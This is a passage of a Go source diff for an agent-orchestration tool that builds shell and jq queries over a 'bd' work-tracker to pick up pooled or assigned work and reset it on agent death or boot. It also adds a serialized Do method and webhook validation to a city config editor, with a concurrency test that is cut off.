+	return `probe_pool_demand() { ` +
+		`target="$1"; ` +
+		`[ -z "$target" ] && return 1; ` +
+		`r=$(` + routedReadyTierCommand(includeEphemeralReady) + `); ` +
+		`[ -n "$r" ] && [ "$r" != "[]" ] && printf "%s" "$r" && exit 0; ` +
+		`legacy_candidates=$(` + bdReadyPoolDemandMigrationShell("--limit=20", includeEphemeralReady) + ` 2>/dev/null); ` +
+		`r=$(printf "%s" "$legacy_candidates" | ` + poolDemandMigrationFilterJQ(1) + ` 2>/dev/null); ` +
+		`[ -n "$r" ] && [ "$r" != "[]" ] && printf "%s" "$r" && exit 0; ` +
+		`legacy_ephemeral_candidates=$(` + legacyEphemeralPoolDemandShell(20, includeEphemeralReady, true) + `); ` +
+		`r=$(printf "%s" "$legacy_ephemeral_candidates" | jq '.[0:1]' 2>/dev/null); ` +
+		`[ -n "$r" ] && [ "$r" != "[]" ] && printf "%s" "$r" && exit 0; ` +
+		`return 1; ` +
+		`}; `
+}
+
+func routedReadyTierCommand(includeEphemeralReady bool) string {
+	// The shared predicate stays order-free so the count-form does no wasted
+	// sorting; the worker first-row path asks bd for the oldest candidates.
+	// The tier is widened past a single row (limit=20, not limit=1) so a
+	// self-blocked head (is_blocked / status==blocked) has Ready routed work
+	// behind it to fall through to instead of idle-exiting; the hook layer
+	// (filterUnreadyHookCandidates) strips the blocked head from the result.
+	return bdReadyPoolDemandShell("--sort oldest --limit=20", includeEphemeralReady) + ` 2>/dev/null`
+}
+
+// poolDemandCountShell emits the reconciler count-form for target: it counts
+// ready, unassigned, routed demand and prints the array length. It shares the
+// canonical and migration predicates with poolDemandFirstRowFunctionScript so
+// the reconciler's spawn decision and the worker's claim decision read the
+// same demand shape.
+//
+// Unlike the work_query probe, this form must NOT redirect bd stderr or default
+// to zero: a failed `bd ready` has to surface as an error rather than
+// masquerade as "no demand", which would silently stop the pool from spawning.
+// The && chain ensures any non-zero bd exit short-circuits the whole expression
+// (TestEffectiveScaleCheckUsesReadyOnly).
+func poolDemandCountShell(target string, includeEphemeralReady bool) string {
+	script := `target="$1"; ` +
+		`ready_json=$(` + bdReadyPoolDemandShell("--limit 0", includeEphemeralReady) + `) || exit $?; ` +
+		`legacy_candidates=$(` + bdReadyPoolDemandMigrationShell("--limit 0", includeEphemeralReady) + `) || exit $?; ` +
+		`legacy_json=$(printf "%s" "$legacy_candidates" | ` + poolDemandMigrationFilterJQ(0) + `) || exit $?; ` +
+		`legacy_ephemeral_json=$(` + legacyEphemeralPoolDemandShell(0, includeEphemeralReady, false) + `); ` +
+		`printf "%s\n%s\n%s\n" "$ready_json" "$legacy_json" "$legacy_ephemeral_json" | jq -s "(add // []) | unique_by(.id) | length"`
+	return shellquote.Join([]string{"sh", "-c", script, "--", target})
+}
+
+func (a *Agent) poolDemandTarget() string {
+	target := a.QualifiedName()
+	if a.PoolName != "" {
+		target = a.PoolName
+	}
+	return target
+}
+
+func standardAssignedWorkQueryScript(includeEphemeralReady bool) string {
+	return standardAssignedInProgressWorkQueryScript(includeEphemeralReady) +
+		standardAssignedReadyWorkQueryScript(includeEphemeralReady)
+}
+
+func standardAssignedInProgressWorkQueryScript(includeEphemeralReady bool) string {
+	return `for id in "$GC_SESSION_ID" "$GC_SESSION_NAME" "$GC_ALIAS"; do ` +
+		`[ -z "$id" ] && continue; ` +
+		`r=$(bd list --status in_progress --assignee="$id" --json --limit=1 2>/dev/null); ` +
+		`[ -n "$r" ] && [ "$r" != "[]" ] && printf "%s" "$r" && exit 0; ` +
+		ephemeralAssignedInProgressProbeScript("id", includeEphemeralReady) +
+		`done; `
+}
+
+func standardAssignedReadyWorkQueryScript(includeEphemeralReady bool) string {
+	return `for id in "$GC_SESSION_ID" "$GC_SESSION_NAME" "$GC_ALIAS"; do ` +
+		`[ -z "$id" ] && continue; ` +
+		`r=$(bd ready` + bdReadyIncludeEphemeralArg(includeEphemeralReady) + ` --assignee="$id" --json --limit=1 2>/dev/null); ` +
+		`[ -n "$r" ] && [ "$r" != "[]" ] && printf "%s" "$r" && exit 0; ` +
+		ephemeralAssignedReadyProbeScript("id", includeEphemeralReady) +
+		`done; `
+}
+
+func legacyControlAssignedWorkQueryScript(includeEphemeralReady bool) string {
+	return legacyControlAssignedInProgressWorkQueryScript(includeEphemeralReady) +
+		legacyControlAssignedReadyWorkQueryScript(includeEphemeralReady)
+}
+
+func legacyControlAssignedInProgressWorkQueryScript(includeEphemeralReady bool) string {
+	return `for id in "$GC_SESSION_ID" "$GC_SESSION_NAME" "$GC_ALIAS"; do ` +
+		`[ -z "$id" ] && continue; ` +
+		`legacy=""; case "$id" in *control-dispatcher) legacy="${id%control-dispatcher}workflow-control";; esac; ` +
+		`for cand in "$id" "$legacy"; do ` +
+		`[ -z "$cand" ] && continue; ` +
+		`r=$(bd list --status in_progress --assignee="$cand" --json --limit=1 2>/dev/null); ` +
+		`[ -n "$r" ] && [ "$r" != "[]" ] && printf "%s" "$r" && exit 0; ` +
+		ephemeralAssignedInProgressProbeScript("cand", includeEphemeralReady) +
+		`done; ` +
+		`done; `
+}
+
+func legacyControlAssignedReadyWorkQueryScript(includeEphemeralReady bool) string {
+	return `for id in "$GC_SESSION_ID" "$GC_SESSION_NAME" "$GC_ALIAS"; do ` +
+		`[ -z "$id" ] && continue; ` +
+		`legacy=""; case "$id" in *control-dispatcher) legacy="${id%control-dispatcher}workflow-control";; esac; ` +
+		`for cand in "$id" "$legacy"; do ` +
+		`[ -z "$cand" ] && continue; ` +
+		`r=$(bd ready` + bdReadyIncludeEphemeralArg(includeEphemeralReady) + ` --assignee="$cand" --json --limit=1 2>/dev/null); ` +
+		`[ -n "$r" ] && [ "$r" != "[]" ] && printf "%s" "$r" && exit 0; ` +
+		ephemeralAssignedReadyProbeScript("cand", includeEphemeralReady) +
+		`done; ` +
+		`done; `
+}
+
+func ephemeralAssignedInProgressProbeScript(shellVar string, includeEphemeralReady bool) string {
+	_ = includeEphemeralReady
+	return `r=$(` + bdQueryEphemeralStatusQuietShell("in_progress") + ` | ` +
+		`jq --arg id "$` + shellVar + `" '[.[] | select((.assignee // "") == $id)] | .[:1]' 2>/dev/null); ` +
+		`[ -n "$r" ] && [ "$r" != "[]" ] && printf "%s" "$r" && exit 0; `
+}
+
+func ephemeralAssignedReadyProbeScript(shellVar string, includeEphemeralReady bool) string {
+	if includeEphemeralReady {
+		return ""
+	}
+	filter := legacyEphemeralReadyFilterJQ(`select((.assignee // "") == $id)`, 1)
+	return `r=$(` + bdQueryEphemeralStatusQuietShell("open") + ` | ` +
+		`jq --arg id "$` + shellVar + `" ` + shellquote.Quote(filter) + ` 2>/dev/null); ` +
+		`[ -n "$r" ] && [ "$r" != "[]" ] && printf "%s" "$r" && exit 0; `
+}
+
+func poolDemandOriginGateScript() string {
+	return `case "$GC_SESSION_ORIGIN" in ` +
+		`ephemeral|"") ;; ` +
+		`*) exit 0 ;; ` +
+		`esac; `
+}
+
+func routedPoolWorkQueryProbeScript(includeEphemeralReady bool, targetCount int) string {
+	script := poolDemandOriginGateScript() + poolDemandFirstRowFunctionScript(includeEphemeralReady)
+	for i := 1; i <= targetCount; i++ {
+		script += fmt.Sprintf(`probe_pool_demand "$%d"; `, i)
+	}
+	return script + `printf "[]"`
+}
+
+func routedPoolWorkQueryCommand(includeEphemeralReady bool, targets ...string) string {
+	args := []string{"sh", "-c", routedPoolWorkQueryProbeScript(includeEphemeralReady, len(targets)), "--"}
+	args = append(args, targets...)
+	return shellquote.Join(args)
+}
+
+// EffectiveWorkQuery returns the work query command for this agent.
+// If WorkQuery is set, returns it as-is. Otherwise returns the default
+// three-tier query with multi-identifier assignee resolution.
+//
+// Assignee resolution order: $GC_SESSION_ID (bead ID) > $GC_SESSION_NAME
+// (tmux session name) > $GC_ALIAS (named identity / qualified name).
+// All three are checked so work is found regardless of which identifier
+// was used when assigning.
+//
+// State priority: in_progress+assigned (crash recovery) >
+// ready+assigned (pre-assigned) > ready+unassigned+routed_to (pool).
+// Executable formula roots can be epic-typed; the bead storage policy decides
+// whether those roots are history-backed, no-history, or ephemeral for the
+// configured bd compatibility mode. Molecule containers are not routable
+// demand.
+//
+// Parent epics are excluded from the routed (pool) tier only
+// (--exclude-type=epic). An unassigned parent epic has no executable spec —
+// its semantic is "all children done" — so a pool worker claiming one does
+// undefined work (gc-udx; the repro is a routed parent epic, see
+// TestEffectiveWorkQuerySkipsEpicLeafScenario). The assigned tiers do NOT
+// exclude epics: work already assigned to this agent is owned, and the
+// patrol-loop pattern (gastown witness/refinery/deacon) can self-assign an
+// epic wisp that the agent must resume after a session restart. Excluding
+// epics there silently stranded those wisps (gc hook exited 1 with empty
+// output). Roles that need different behavior still opt in via an explicit
+// work_query in their agent config; that custom query is returned unchanged
+// above.
+//
+// When the reconciler runs the query for demand detection (no session
+// context), all identity vars are empty → assignee tiers skip → only
+// the routed_to tier fires to detect new demand.
+//
+// Tier 3's canonical and migration predicates are shared with
+// EffectivePoolDemandQuery so reconciler spawn decisions and worker claim
+// decisions stay symmetric.
+func (a *Agent) EffectiveWorkQuery() string {
+	return a.effectiveWorkQuery(false)
+}
+
+// EffectiveWorkQueryForBeads returns the default work query using the bd
+// compatibility semantics configured for the city.
+func (a *Agent) EffectiveWorkQueryForBeads(beads BeadsConfig) string {
+	return a.effectiveWorkQuery(beads.UsesBD105ReadySemantics())
+}
+
+func (a *Agent) effectiveWorkQuery(includeEphemeralReady bool) string {
+	if a.WorkQuery != "" {
+		return a.WorkQuery
+	}
+	target := a.poolDemandTarget()
+	legacyTarget := legacyWorkflowControlQualifiedName(target)
+	if legacyTarget == "" {
+		script := standardAssignedWorkQueryScript(includeEphemeralReady) +
+			poolDemandOriginGateScript() +
+			poolDemandFirstRowFunctionScript(includeEphemeralReady) +
+			`probe_pool_demand "$1"; ` +
+			`printf "[]"`
+		return shellquote.Join([]string{"sh", "-c", script, "--", target})
+	}
+	script := legacyControlAssignedWorkQueryScript(includeEphemeralReady) +
+		poolDemandOriginGateScript() +
+		poolDemandFirstRowFunctionScript(includeEphemeralReady) +
+		`probe_pool_demand "$1"; ` +
+		`probe_pool_demand "$2"; ` +
+		`printf "[]"`
+	return shellquote.Join([]string{"sh", "-c", script, "--", target, legacyTarget})
+}
+
+// EffectiveAssignedInProgressQuery returns the assigned-in-progress-only command
+// for prompt templates that spell out crash recovery as a separate startup tier.
+// A custom WorkQuery is treated as the caller-owned full discovery contract, so
+// split-tier prompts may run that same custom command in each query slot.
+func (a *Agent) EffectiveAssignedInProgressQuery() string {
+	return a.effectiveAssignedInProgressQuery(false)
+}
+
+// EffectiveAssignedInProgressQueryForBeads returns the assigned-in-progress
+// query using the bd compatibility semantics configured for the city.
+func (a *Agent) EffectiveAssignedInProgressQueryForBeads(beads BeadsConfig) string {
+	return a.effectiveAssignedInProgressQuery(beads.UsesBD105ReadySemantics())
+}
+
+func (a *Agent) effectiveAssignedInProgressQuery(includeEphemeralReady bool) string {
+	if a.WorkQuery != "" {
+		return a.WorkQuery
+	}
+	target := a.poolDemandTarget()
+	if legacyWorkflowControlQualifiedName(target) != "" {
+		return shellquote.Join([]string{"sh", "-c", legacyControlAssignedInProgressWorkQueryScript(includeEphemeralReady) + `printf "[]"`})
+	}
+	return shellquote.Join([]string{"sh", "-c", standardAssignedInProgressWorkQueryScript(includeEphemeralReady) + `printf "[]"`})
+}
+
+// EffectiveAssignedReadyQuery returns the assigned-ready-only command for
+// prompt templates that spell out claim-first startup in separate tiers. A
+// custom WorkQuery is treated as the caller-owned full discovery contract, so
+// split-tier prompts may run that same custom command in each query slot.
+func (a *Agent) EffectiveAssignedReadyQuery() string {
+	return a.effectiveAssignedReadyQuery(false)
+}
+
+// EffectiveAssignedReadyQueryForBeads returns the assigned-ready-only query
+// using the bd compatibility semantics configured for the city.
+func (a *Agent) EffectiveAssignedReadyQueryForBeads(beads BeadsConfig) string {
+	return a.effectiveAssignedReadyQuery(beads.UsesBD105ReadySemantics())
+}
+
+func (a *Agent) effectiveAssignedReadyQuery(includeEphemeralReady bool) string {
+	if a.WorkQuery != "" {
+		return a.WorkQuery
+	}
+	target := a.poolDemandTarget()
+	if legacyWorkflowControlQualifiedName(target) != "" {
+		return shellquote.Join([]string{"sh", "-c", legacyControlAssignedReadyWorkQueryScript(includeEphemeralReady) + `printf "[]"`})
+	}
+	return shellquote.Join([]string{"sh", "-c", standardAssignedReadyWorkQueryScript(includeEphemeralReady) + `printf "[]"`})
+}
+
+// EffectiveRoutedPoolQuery returns the routed-pool-only command for prompt
+// templates that spell out claim-first startup in separate tiers. It is the
+// prompt-side counterpart to EffectiveWorkQuery's routed pool tier.
+func (a *Agent) EffectiveRoutedPoolQuery() string {
+	return a.effectiveRoutedPoolQuery(false)
+}
+
+// EffectiveRoutedPoolQueryForBeads returns the routed-pool-only command using
+// the bd compatibility semantics configured for the city.
+func (a *Agent) EffectiveRoutedPoolQueryForBeads(beads BeadsConfig) string {
+	return a.effectiveRoutedPoolQuery(beads.UsesBD105ReadySemantics())
+}
+
+func (a *Agent) effectiveRoutedPoolQuery(includeEphemeralReady bool) string {
+	if a.WorkQuery != "" {
+		return a.WorkQuery
+	}
+	target := a.poolDemandTarget()
+	legacyTarget := legacyWorkflowControlQualifiedName(target)
+	if legacyTarget == "" {
+		return routedPoolWorkQueryCommand(includeEphemeralReady, target)
+	}
+	return routedPoolWorkQueryCommand(includeEphemeralReady, target, legacyTarget)
+}
+
+func legacyWorkflowControlQualifiedName(target string) string {
+	target = strings.TrimSpace(target)
+	if target == ControlDispatcherAgentName {
+		return "workflow-control"
+	}
+	const suffix = "/" + ControlDispatcherAgentName
+	if strings.HasSuffix(target, suffix) {
+		return strings.TrimSuffix(target, suffix) + "/workflow-control"
+	}
+	return ""
+}
+
+// EffectiveSlingQuery returns the sling query command template for this agent.
+// The template uses {} as a placeholder for the bead ID.
+// If SlingQuery is set, returns it as-is. Otherwise returns the default:
+// "bd update {} --set-metadata gc.routed_to=<template>"
+//
+// All agents use metadata-based routing. The reconciler and scale_check
+// handle session creation; sling just stamps the target template.
+func (a *Agent) EffectiveSlingQuery() string {
+	if a.SlingQuery != "" {
+		return a.SlingQuery
+	}
+	return a.DefaultSlingQuery()
+}
+
+// DefaultSlingQuery returns the built-in metadata-routing sling query for
+// this agent. Callers outside config should prefer this helper over rebuilding
+// the command string to preserve the bd boundary invariant.
+func (a *Agent) DefaultSlingQuery() string {
+	return "bd update {} --set-metadata " + beadmeta.RoutedToMetadataKey + "=" + a.QualifiedName()
+}
+
+// EffectiveDefaultSlingFormula returns the default sling formula for
+// this agent, or "" if none is set.
+func (a *Agent) EffectiveDefaultSlingFormula() string {
+	if a.DefaultSlingFormula != nil {
+		return *a.DefaultSlingFormula
+	}
+	if a.InheritedDefaultSlingFormula != nil {
+		return *a.InheritedDefaultSlingFormula
+	}
+	return ""
+}
+
+// DrainTimeoutDuration returns the drain timeout as a time.Duration.
+// Defaults to 5m if empty or unparseable.
+func (a *Agent) DrainTimeoutDuration() time.Duration {
+	if a.DrainTimeout == "" {
+		return 5 * time.Minute
+	}
+	dur, err := time.ParseDuration(a.DrainTimeout)
+	if err != nil {
+		return 5 * time.Minute
+	}
+	return dur
+}
+
+// EffectivePoolDemandQuery returns the count-form pool-demand query the
+// reconciler runs to detect new unassigned routed work. It is the
+// reconciler-side counterpart to EffectiveWorkQuery's Tier 3 (the worker
+// claim path): both derive their predicates from the same helpers so
+// any future change to the pool-demand shape flows to both paths
+// simultaneously.
+//
+// If ScaleCheck is set (user override), it takes precedence and is
+// returned as-is. Otherwise the default count-form is returned.
+//
+// Assigned in-progress work is resumed from session beads, so it must
+// not create additional generic pool demand here.
+//
+// See engdocs/architecture/dispatch.md "scale_check ↔ work_query
+// correspondence" and the protocol-mismatch class regression addressed
+// by PR #1516.
+func (a *Agent) EffectivePoolDemandQuery() string {
+	return a.effectivePoolDemandQuery(false)
+}
+
+// EffectivePoolDemandQueryForBeads returns the count-form demand query using
+// the bd compatibility semantics configured for the city.
+func (a *Agent) EffectivePoolDemandQueryForBeads(beads BeadsConfig) string {
+	return a.effectivePoolDemandQuery(beads.UsesBD105ReadySemantics())
+}
+
+func (a *Agent) effectivePoolDemandQuery(includeEphemeralReady bool) string {
+	if a.ScaleCheck != "" {
+		return a.ScaleCheck
+	}
+	target := a.poolDemandTarget()
+	return poolDemandCountShell(target, includeEphemeralReady)
+}
+
+// EffectiveScaleCheck returns the scale check command for this agent.
+// Pass-through to EffectivePoolDemandQuery for back-compat with code and
+// configs that name the predicate "scale_check"; new call sites should
+// prefer EffectivePoolDemandQuery to make the dependency on the
+// work_query predicate explicit.
+func (a *Agent) EffectiveScaleCheck() string {
+	return a.EffectivePoolDemandQuery()
+}
+
+// EffectiveMaxActiveSessions returns the agent's max active sessions.
+// Priority: agent.MaxActiveSessions > pool.Max > nil (unlimited).
+func (a *Agent) EffectiveMaxActiveSessions() *int {
+	return a.MaxActiveSessions // nil = unlimited (default)
+}
+
+// EffectiveMinActiveSessions returns the agent's min active sessions.
+func (a *Agent) EffectiveMinActiveSessions() int {
+	if a.MinActiveSessions != nil && *a.MinActiveSessions > 0 {
+		return *a.MinActiveSessions
+	}
+	return 0
+}
+
+// SupportsGenericEphemeralSessions reports whether the template may satisfy
+// generic controller demand with ephemeral sessions.
+func (a *Agent) SupportsGenericEphemeralSessions() bool {
+	if a == nil {
+		return false
+	}
+	if m := a.EffectiveMaxActiveSessions(); m != nil && *m == 0 {
+		return false
+	}
+	return true
+}
+
+// SupportsMultipleSessions reports whether the template may materialize more
+// than one distinct concrete session identity. Unlike
+// SupportsGenericEphemeralSessions, max_active_sessions = 0 still represents a
+// multi-session template shape even though generic ephemeral session creation
+// is disabled.
+func (a *Agent) SupportsMultipleSessions() bool {
+	if a == nil {
+		return false
+	}
+	if strings.TrimSpace(a.Namepool) != "" || len(a.NamepoolNames) > 0 {
+		return true
+	}
+	maxSessions := a.EffectiveMaxActiveSessions()
+	return maxSessions == nil || *maxSessions != 1
+}
+
+// UsesCanonicalSingletonPoolIdentity reports whether singleton pool-shaped
+// surfaces should use the configured agent identity instead of synthesizing a
+// slot identity such as "{name}-1".
+func (a *Agent) UsesCanonicalSingletonPoolIdentity() bool {
+	if a == nil {
+		return false
+	}
+	if strings.TrimSpace(a.Namepool) != "" || len(a.NamepoolNames) > 0 {
+		return false
+	}
+	maxSessions := a.EffectiveMaxActiveSessions()
+	return maxSessions != nil && *maxSessions == 1
+}
+
+// SupportsExpandedSessionIdentities reports whether callers should expose or
+// discover concrete member identities instead of only the configured identity.
+func (a *Agent) SupportsExpandedSessionIdentities() bool {
+	if a == nil {
+		return false
+	}
+	if m := a.EffectiveMaxActiveSessions(); m != nil && *m == 0 {
+		return false
+	}
+	return a.SupportsInstanceExpansion() && !a.UsesCanonicalSingletonPoolIdentity()
+}
+
+// SupportsInstanceExpansion reports whether the template may have multiple
+// simultaneously addressable concrete instances and therefore needs instance
+// discovery / synthetic member naming.
+//
+// max_active_sessions=1 has two distinct flavors:
+//
+//   - Pool agents (MinActiveSessions or ScaleCheck set) keep pool controller
+//     semantics. Non-namepool singleton pools still use the canonical
+//     configured identity; see UsesCanonicalSingletonPoolIdentity.
+//   - Named-session agents (MaxActiveSessions=1 with a [[named_session]]
+//     entry, no Min/ScaleCheck) addressed as just "{name}" — they have a
+//     stable canonical identity and a phantom "-1" suffix breaks tools that
+//     resolve by qualified name.
+//
+// We keep instance expansion on for the pool flavor so controller paths still
+// run pool reconciliation, and turn it off for the named-session flavor so the
+// bare name resolves correctly.
+func (a *Agent) SupportsInstanceExpansion() bool {
+	if a == nil {
+		return false
+	}
+	if strings.TrimSpace(a.Namepool) != "" || len(a.NamepoolNames) > 0 {
+		return true
+	}
+	m := a.EffectiveMaxActiveSessions()
+	if m == nil {
+		return true
+	}
+	if *m < 0 || *m > 1 {
+		return true
+	}
+	// *m == 1: distinguish pool agents (keep numbered instances) from
+	// named-session agents (collapse to base identity). Pool agents are
+	// identified by an explicit MinActiveSessions or a ScaleCheck override.
+	if a.MinActiveSessions != nil || strings.TrimSpace(a.ScaleCheck) != "" {
+		return true
+	}
+	return false
+}
+
+// HasUnlimitedSessionCapacity reports whether max_active_sessions is unbounded.
+func (a *Agent) HasUnlimitedSessionCapacity() bool {
+	if a == nil {
+		return false
+	}
+	m := a.EffectiveMaxActiveSessions()
+	return m == nil || *m < 0
+}
+
+// ResolvedMaxActiveSessions returns the effective max for this agent,
+// inheriting from rig then workspace if not set on the agent directly.
+func (a *Agent) ResolvedMaxActiveSessions(cfg *City) *int {
+	if m := a.EffectiveMaxActiveSessions(); m != nil {
+		return m
+	}
+	// Inherit from rig.
+	if a.Dir != "" && cfg != nil {
+		for _, rig := range cfg.Rigs {
+			if rig.Name == a.Dir && rig.MaxActiveSessions != nil {
+				return rig.MaxActiveSessions
+			}
+		}
+	}
+	// Inherit from workspace.
+	if cfg != nil && cfg.Workspace.MaxActiveSessions != nil {
+		return cfg.Workspace.MaxActiveSessions
+	}
+	return nil // unlimited
+}
+
+// EffectiveOnDeath returns the on_death command for this agent.
+// If OnDeath is set, returns it. Otherwise returns the default recovery hook
+// that unclaims in-progress work assigned to this concrete agent identity.
+func (a *Agent) EffectiveOnDeath() string {
+	return a.effectiveOnDeath(false)
+}
+
+// EffectiveOnDeathForBeads returns the default on_death command using the bd
+// compatibility semantics configured for the city.
+func (a *Agent) EffectiveOnDeathForBeads(beads BeadsConfig) string {
+	return a.effectiveOnDeath(beads.UsesBD105ReadySemantics())
+}
+
+func (a *Agent) effectiveOnDeath(includeEphemeralInProgress bool) string {
+	if a.OnDeath != "" {
+		return a.OnDeath
+	}
+	route := a.QualifiedName()
+	if a.PoolName != "" {
+		route = a.PoolName
+	}
+	_ = includeEphemeralInProgress
+	ephemeralRead := bdQueryEphemeralStatusQuietShell("in_progress") + ` | ` +
+		`jq -r --arg assignee ` + shellquote.Quote(a.QualifiedName()) + ` '.[] | select((.assignee // "") == $assignee) | [.id, ` + jqMeta(beadmeta.RunTargetMetadataKey) + `, ` + jqMeta(beadmeta.RoutedToMetadataKey) + `] | @tsv' 2>/dev/null; `
+	// Reset both assignee and status: clearing assignee alone leaves the bead
+	// invisible to every work_query tier (Tier 1 needs assignee match, Tiers
+	// 2/3 only match "ready" status). The next worker re-claims via Tier 3.
+	// If routed metadata is missing entirely, backfill the canonical
+	// gc.run_target route so reopened direct-assigned work does not stay
+	// invisible.
+	return `{ ` +
+		`bd list --assignee=` + a.QualifiedName() +
+		` --status=in_progress --json 2>/dev/null | ` +
+		`jq -r '.[] | [.id, ` + jqMeta(beadmeta.RunTargetMetadataKey) + `, ` + jqMeta(beadmeta.RoutedToMetadataKey) + `] | @tsv' 2>/dev/null; ` +
+		ephemeralRead +
+		`} | ` +
+		`while IFS="$(printf '\t')" read -r id run_target routed_to; do ` +
+		`[ -z "$id" ] && continue; ` +
+		`if [ -n "$run_target" ] || [ -n "$routed_to" ]; then ` +
+		`bd update "$id" --assignee "" --status open 2>/dev/null; ` +
+		`else bd update "$id" --assignee "" --status open --set-metadata ` + shellquote.Quote(beadmeta.RunTargetMetadataKey+"="+route) + ` 2>/dev/null; ` +
+		`fi; ` +
+		`done`
+}
+
+// EffectiveOnBoot returns the on_boot command for this agent.
+// If OnBoot is set, returns it. Otherwise returns the default recovery hook
+// that unclaims in-progress work routed to this backing config.
+func (a *Agent) EffectiveOnBoot() string {
+	return a.effectiveOnBoot(false)
+}
+
+// EffectiveOnBootForBeads returns the default on_boot command using the bd
+// compatibility semantics configured for the city.
+func (a *Agent) EffectiveOnBootForBeads(beads BeadsConfig) string {
+	return a.effectiveOnBoot(beads.UsesBD105ReadySemantics())
+}
+
+func (a *Agent) effectiveOnBoot(includeEphemeralInProgress bool) string {
+	if a.OnBoot != "" {
+		return a.OnBoot
+	}
+	template := a.QualifiedName()
+	if a.PoolName != "" {
+		template = a.PoolName
+	}
+	_ = includeEphemeralInProgress
+	ephemeralRead := bdQueryEphemeralStatusQuietShell("in_progress") + ` | ` +
+		`jq -r --arg template "$template" '.[] | select((.assignee // "") == "") | select((` + jqMeta(beadmeta.RoutedToMetadataKey) + ` == $template) or ((` + jqMeta(beadmeta.RoutedToMetadataKey) + ` == "") and (` + jqMeta(beadmeta.RunTargetMetadataKey) + ` == $template) and (` + jqMeta(beadmeta.KindMetadataKey) + ` == "` + beadmeta.KindWorkflow + `"))) | .id' 2>/dev/null; `
+	return `template=` + shellquote.Quote(template) + `; ` +
+		`{ ` +
+		`bd list --metadata-field "` + beadmeta.RoutedToMetadataKey + `=$template" --status=in_progress --no-assignee --json 2>/dev/null | ` +
+		`jq -r '.[].id' 2>/dev/null; ` +
+		`bd list --metadata-field "` + beadmeta.RunTargetMetadataKey + `=$template" --metadata-field "` + beadmeta.KindMetadataKey + `=` + beadmeta.KindWorkflow + `" --status=in_progress --no-assignee --json 2>/dev/null | ` +
+		`jq -r '.[] | select(` + jqMeta(beadmeta.RoutedToMetadataKey) + ` == "") | .id' 2>/dev/null; ` +
+		ephemeralRead +
+		`} | awk 'NF && !seen[$0]++' | ` +
+		`xargs -rI{} bd update {} --status open 2>/dev/null`
+}
diff --git a/internal/configedit/configedit.go b/internal/configedit/configedit.go
index 689f0bb8d4..cd16df20df 100644
--- a/internal/configedit/configedit.go
+++ b/internal/configedit/configedit.go
@@ -143,6 +143,19 @@ func (e *Editor) EditExpanded(fn func(raw, expanded *config.City) error) error {
 	return e.write(raw)
 }
 
+// Do runs fn while holding the Editor's mutation lock, serializing it against
+// every other Editor mutation of this city. Use it for city-config writes that
+// do not fit the load → mutate → validate → write callback shape — for example
+// a multi-file pack import that writes pack.toml, packs.lock, and sometimes
+// city.toml — so they still pass through the single per-city serialization
+// boundary the [Editor] provides. The Editor does not load, validate, or write
+// city.toml for a Do call; fn owns its own I/O.
+func (e *Editor) Do(fn func() error) error {
+	e.mu.Lock()
+	defer e.mu.Unlock()
+	return fn()
+}
+
 func validateCityForEdit(cfg *config.City) error {
 	if err := config.ValidateAgents(cfg.Agents); err != nil {
 		return fmt.Errorf("%w: agents: %w", ErrValidation, err)
@@ -153,6 +166,9 @@ func validateCityForEdit(cfg *config.City) error {
 	if err := config.ValidateServices(cfg.Services); err != nil {
 		return fmt.Errorf("%w: services: %w", ErrValidation, err)
 	}
+	if err := config.ValidateWebhooks(cfg.Webhooks); err != nil {
+		return fmt.Errorf("%w: webhooks: %w", ErrValidation, err)
+	}
 	if err := workspacesvc.ValidateRuntimeSupport(cfg.Services); err != nil {
 		return fmt.Errorf("%w: services: %w", ErrValidation, err)
 	}
@@ -1251,6 +1267,7 @@ type ProviderUpdate struct {
 	Env                map[string]string // nil = not set, non-nil = additive merge
 	OptionsSchemaMerge *string
 	OptionsSchema      []config.ProviderOption // nil = not set, non-nil = replace
+	OptionDefaults     map[string]string       // nil = not set, non-nil = additive merge
 }
 
 // CreateProvider adds a new city-level provider to the config.
@@ -1268,6 +1285,23 @@ func (e *Editor) CreateProvider(name string, spec config.ProviderSpec) error {
 	})
 }
 
+// mergeStringMapInto additively merges src into dst, lazily allocating dst
+// when it is nil. Keys present in src overwrite those in dst; an empty src
+// leaves dst unchanged. It returns the (possibly newly allocated) destination
+// so callers can assign it back onto the target field.
+func mergeStringMapInto(dst, src map[string]string) map[string]string {
+	if len(src) == 0 {
+		return dst
+	}
+	if dst == nil {
+		dst = make(map[string]string, len(src))
+	}
+	for k, v := range src {
+		dst[k] = v
+	}
+	return dst
+}
+
 // UpdateProvider partially updates an existing city-level provider.
 // Returns an error if the provider is not found in the raw config
 // (builtin-only providers cannot be updated directly — use patches).
@@ -1316,20 +1350,14 @@ func (e *Editor) UpdateProvider(name string, patch ProviderUpdate) error {
 		if patch.ReadyDelayMs != nil {
 			spec.ReadyDelayMs = *patch.ReadyDelayMs
 		}
-		if len(patch.Env) > 0 {
-			if spec.Env == nil {
-				spec.Env = make(map[string]string, len(patch.Env))
-			}
-			for k, v := range patch.Env {
-				spec.Env[k] = v
-			}
-		}
+		spec.Env = mergeStringMapInto(spec.Env, patch.Env)
 		if patch.OptionsSchemaMerge != nil {
 			spec.OptionsSchemaMerge = *patch.OptionsSchemaMerge
 		}
 		if patch.OptionsSchema != nil {
 			spec.OptionsSchema = append([]config.ProviderOption(nil), patch.OptionsSchema...)
 		}
+		spec.OptionDefaults = mergeStringMapInto(spec.OptionDefaults, patch.OptionDefaults)
 		cfg.Providers[name] = spec
 		return nil
 	})
diff --git a/internal/configedit/configedit_test.go b/internal/configedit/configedit_test.go
index 8ad8bb7bde..afa85af4b9 100644
--- a/internal/configedit/configedit_test.go
+++ b/internal/configedit/configedit_test.go
@@ -5,7 +5,10 @@ import (
 	"os"
 	"path/filepath"
 	"strings"
+	"sync"
+	"sync/atomic"
 	"testing"
+	"time"
 
 	"github.com/gastownhall/gascity/internal/config"
 	"github.com/gastownhall/gascity/internal/configedit"
@@ -164,6 +167,58 @@ func TestEdit_SetsAgentSuspended(t *testing.T) {
 	t.Error("mayor not found after edit")
 }
 
+// TestDo_SerializesConcurrentCalls proves Editor.Do runs its callbacks under
+// the same mutex as Edit, so a config-write surface that runs outside the
+// load→mutate→write shape (pack import add/remove) never overlaps another
+// mutation of the same city. If Do did not lock, the concurrent callbacks would
+// observe more than one in-flight at once.
+func TestDo_SerializesConcurrentCalls(t *testing.T) {
+	dir := t.TempDir()
+	path := writeTOML(t, dir, minimalCity())
+	ed := configedit.NewEditor(fsys.OSFS{}, path)
+
+	var inFlight, overlaps, ran int32
+	var wg sync.WaitGroup
+	for i := 0; i < 32; i++ {
+		wg.Add(1)
+		go func() {
+			defer wg.Done()
+			_ = ed.Do(func() error {
